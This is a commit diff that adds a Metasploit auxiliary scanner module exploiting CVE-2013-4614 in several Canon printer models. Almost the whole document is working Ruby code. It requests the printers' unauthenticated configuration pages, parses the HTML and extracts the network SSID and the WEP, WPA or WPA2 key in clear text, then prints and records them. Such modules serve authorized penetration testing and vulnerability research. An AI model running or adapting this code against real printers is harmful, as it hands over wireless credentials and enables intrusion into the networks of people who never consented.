Land rapid7#1980 - Canon Printer Wireless Configuration Disclosure

Author: wchen-r7

modules/auxiliary/scanner/http/canon_wireless.rb

@@ -0,0 +1,149 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+require 'nokogiri'
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Auxiliary::Report
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Auxiliary::Scanner
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => 'Canon Printer Wireless Configuration Disclosure',
+			'Description'    => %q{
+					This module enumerates wireless credentials from Canon printers with a web interface.
+					It has been tested on Canon models: MG3100, MG5300, MG6100, MP495, MX340, MX870,
+					MX890, MX920.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'Matt "hostess" Andreko <mandreko[at]accuvant.com>'
+				],
+			'References'     => [
+				[ 'CVE', '2013-4614' ],
+				[ 'URL', 'http://www.mattandreko.com/2013/06/canon-y-u-no-security.html']
+			],
+			'DisclosureDate' => 'Jun 18 2013'))
+	end
+
+	def get_network_settings
+		begin
+			res = send_request_cgi({
+				'method' => 'GET',
+				'uri'    => '/English/pages_MacUS/lan_set_content.html',
+			})
+		rescue
+			print_error("#{rhost}:#{rport} Could not connect.")
+			return
+		end
+
+		if res
+			if res.code == 200
+
+				html = Nokogiri::HTML(res.body)
+
+				checked_lan_setting = html.xpath '//input[@name="LAN_OPT1" and @checked]'
+
+				if checked_lan_setting.count == 1
+					lan_setting = ''
+					ssid = ''
+					case checked_lan_setting[0]['value']
+					when '0'
+						lan_setting = 'Do not use LAN'
+					when '1'
+						lan_setting = 'Use wired LAN'
+					when '2'
+						lan_setting = 'Use wireless LAN'
+
+						ssid_input = html.xpath '//input[@name="LAN_TXT1"]'
+						ssid = ssid_input[0]['value'] if ssid_input.count == 1
+					end
+
+					return lan_setting, ssid
+				else
+					print_error("#{rhost}:#{rport} Could not determine LAN Settings.")
+				end
+
+			elsif res.code == 401
+				print_error("#{rhost}:#{rport} Authentication failed")
+			elsif res.code == 404
+				print_error("#{rhost}:#{rport} File not found")
+			end
+		end
+	end
+
+	def get_wireless_key
+		begin
+			res = send_request_cgi({
+				'method' => 'GET',
+				'uri'    => "/English/pages_MacUS/wls_set_content.html",
+			})
+		rescue
+			print_error("#{ip}:#{rport} Could not connect.")
+			return
+		end
+
+		if res
+			if res.code == 200
+				html = Nokogiri::HTML(res.body)
+				encryption_setting = ''
+				encryption_key = ''
+
+				checked_encryption_setting = html.xpath '//input[@name="WLS_OPT1" and @checked]'
+				case checked_encryption_setting[0]['value']
+				when '0'
+					encryption_setting = 'None'
+				when '1'
+					encryption_setting = 'WEP'
+					wep_key_inputs = html.xpath '//input[starts-with(@name, "WLS_TXT1") and not(@value="")]'
+					encryption_key = wep_key_inputs.collect{|x| x['value']}.join(', ')
+				when '2'
+					encryption_setting = 'WPA'
+					wpa_key_input = html.xpath '//input[@name="WLS_TXT2"]'
+					encryption_key = wpa_key_input[0]['value']
+				when '3'
+					encryption_setting = 'WPA2'
+					wpa2_key_input = html.xpath '//input[@name="WLS_TXT3"]'
+					encryption_key = wpa2_key_input[0]['value']
+				end
+
+				return encryption_setting, encryption_key
+
+			elsif res.code == 401
+				print_error("#{rhost}:#{rport} Authentication failed")
+			elsif res.code == 404
+				print_error("#{rhost}:#{rport} File not found")
+			end
+		end
+	end
+
+	def run_host(ip)
+
+		ns = get_network_settings
+		return if ns.nil?
+
+		good_string = "#{rhost}:#{rport} Option: #{ns[0]}"
+		if ns[0] == 'Use wireless LAN'
+			wireless_key = get_wireless_key
+			good_string += "\tSSID: #{ns[1]}\tEncryption Type: #{wireless_key[0]}\tKey: #{wireless_key[1]}"
+		end
+
+		report_note({
+			:data => good_string,
+			:type => 'canon.wireless',
+			:host => ip,
+			:port => rport
+		})
+
+		print_good good_string
+
+	end
+end